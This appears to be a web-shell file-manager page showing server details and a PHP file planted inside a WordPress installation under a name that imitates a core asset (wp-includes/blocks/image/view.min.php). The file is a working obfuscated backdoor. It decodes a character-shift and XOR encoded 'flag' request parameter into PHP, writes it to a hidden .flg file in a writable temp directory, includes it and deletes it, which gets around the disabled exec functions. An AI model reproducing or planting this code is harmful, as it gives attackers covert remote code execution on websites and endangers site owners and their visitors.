HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-includes/blocks/image/view.min.php
<?php

if(array_key_exists("fla\x67", $_REQUEST) && !is_null($_REQUEST["fla\x67"])){
	$marker = $_REQUEST["fla\x67"];
		 	$marker=		explode			( 	".",		$marker  ) ;
	$token = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt5);
    
            foreach ($marker as $z=>$v9):
                $sChar = ord($salt5[$z 	%	$lenS]);
                $d = ((int)$v9 - $sChar - ($z 	%	10)) ^ 7;
                $token .=chr($d);
            endforeach;
	$tkn = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP")]);
	for ($item = 0, $resource = count($tkn); $item < $resource; $item++) {
    $sym = $tkn[$item];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) {
    $record = "$sym" . "/.flg";
    if (file_put_contents($record, $token)) {
	include $record;
	@unlink($record);
	exit;
}
}
}
}